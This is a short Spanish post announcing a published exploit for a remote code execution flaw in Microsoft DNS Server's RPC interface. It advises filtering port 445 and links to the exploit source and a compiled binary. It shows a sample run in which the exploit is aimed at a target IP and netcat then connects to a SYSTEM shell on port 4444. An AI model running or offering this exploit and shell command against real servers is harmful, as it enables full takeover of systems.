Explotando actualizaciones dinámicas en Microsoft DNS Server - Remote Code execution Exploit
Andrés Tarasco y Mario Ballano han publicado un exploit para una vulnerabilidad remota del servicio DNS de Microsoft que permitiría a un usuario la ejecucion remota de codigo con privilegios de SYSTEM.
Al contrario que los reportes iniciales de Microsoft, han notificado de que su exploit es capaz de atacar un sistema a través del puerto 445 por lo que dicho puerto debe ser filtrado en el firewall hasta que el parche definitivo sea publicado.
>> Ejemplo del uso del exploit:
| D:\DNSTEST>dnstest.exe 192.168.1.7 ——————————————————- Microsoft Dns Server local & remote RPC Exploit code (port 445) Exploit code by Andres Tarasco & Mario Ballano Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish) ——————————————————- [+] Trying to fingerprint target.. 05 02 D:\DNSTEST>nc 192.168.1.7 4444 C:\WINDOWS\system32>whoami |
:: El código fuente del exploit y el analisis del mismo lo podeis Descargar aqui
:: Exploit compilado Win32 aqui
:: Análisis de la vulnerabilidad aqui